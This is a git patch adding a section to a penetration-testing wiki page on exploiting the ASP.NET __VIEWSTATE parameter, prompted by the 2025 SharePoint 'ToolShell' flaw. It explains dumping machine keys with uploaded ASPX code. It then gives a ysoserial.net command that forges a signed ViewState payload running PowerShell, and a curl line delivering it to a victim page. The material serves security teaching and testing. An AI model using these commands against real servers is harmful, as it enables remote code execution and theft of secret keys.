From 7731917ad5ccb6168fe40d8370e7eb8f26f6fbb2 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Mon, 21 Jul 2025 12:51:19 +0000 Subject: [PATCH] Add content from: SharePoint 0-day uncovered (CVE-2025-53770) --- .../exploiting-__viewstate-parameter.md | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 60779ba7c..e7020f2a5 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -202,12 +202,48 @@ For all the test cases, if the ViewState YSoSerial.Net payload works **successfu Check for [further information here]() +### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell) + +Attackers who are able to **upload or execute arbitrary ASPX code** inside the target web root can directly retrieve the secret keys that protect `__VIEWSTATE` instead of bruteforcing them. +A minimal payload that leaks the keys leverages internal .NET classes through reflection: + +```csharp +<%@ Import Namespace="System.Web.Configuration" %> +<%@ Import Namespace="System.Reflection" %> + +``` + +Requesting the page prints the **ValidationKey**, **DecryptionKey**, the encryption algorithm and the ASP.NET compatibility mode. These values can now be fed straight into **ysoserial.net** to create a valid, signed `__VIEWSTATE` gadget: + +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate \ + -c "powershell -nop -c \"whoami\"" \ + --generator= \ + --validationkey= --validationalg= \ + --decryptionkey= --decryptionalg= \ + --islegacy --minify +curl "http://victim/page.aspx?__VIEWSTATE=" +``` + +This **key-exfiltration primitive** was mass-exploited against on-prem SharePoint servers in 2025 ("ToolShell" – CVE-2025-53770/53771), but it is applicable to any ASP.NET application where an attacker can run server-side code. + ## References - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)